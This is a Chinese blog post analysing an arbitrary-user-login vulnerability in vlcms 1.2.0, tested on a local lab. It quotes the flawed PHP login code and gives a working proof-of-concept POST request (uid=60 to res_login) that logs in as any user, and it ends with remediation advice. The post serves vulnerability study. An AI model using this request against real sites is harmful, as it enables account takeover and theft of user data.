环境: Web: phpstudy 5.4.45
System: Windows 10x64
源码版本为:vlcms_1.2.0
几乎每个网站都有自己的会员系统,有会员,就有登录机制,如果可以登录其他用户账户,那么就可以窃取其他用户的资料数据。如果配合上脚本的话,甚至可以批量获取用户的数据。对网站来说,任意用户登录是一个很高危的漏洞。
image.png
创建数据库
image.png
查看网站是否可以正常访问
image.png
1、案例分析
vlcms/Application/Media/Controller/MemberController.class.php
post获取uid传进autoLogin()中
public function res_login(){
parent::autoLogin($_POST['uid']);
echo $this->ajaxReturn(array("status"=>0,"uid"=>$_POST['uid']));
}
将id传进entity()。
protected function autoLogin($uid){
$user =$this->entity($uid);
/* 记录登录SESSION和COOKIES */
$auth = array(
'mid' => $user['id'],
'account' => $user['account'],
'nickname' => $user['nickname'],
'balance' => $user['balance'],
'last_login_time' => $user['login_time'],
);
session('member_auth', $auth);
session('member_auth_sign', data_auth_sign($auth));
}
entity中直接根据id查询账户了。。所以只需一个id就能登录任意用户
protected function entity($id){
$data = M('User','tab_')->find($id);
if(empty($data)){
return false;
}
return $data;
}
1、先注册几个账号
image.png
2、访问url:
http://127.0.0.1/vlcms_1.2.0//index.php?s=/member/res_login/
post:uid=60
访问后,返回一串代码
image.png
接着访问http://127.0.0.1/vlcms_1.2.0//index.php?s=/member/,可以看到,已经成功登录账户
image.png
访问post:uid=61
image.png
接着访问
http://127.0.0.1/vlcms_1.2.0//index.php?s=/member/,可以看到已经成功登陆账号了,登陆uid为61的账号
image.png
查看数据库里面uid61的账号为:
image.png
不要用id来判断账户身份
作者:二潘
链接:https://www.jianshu.com/p/ed3695059897
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。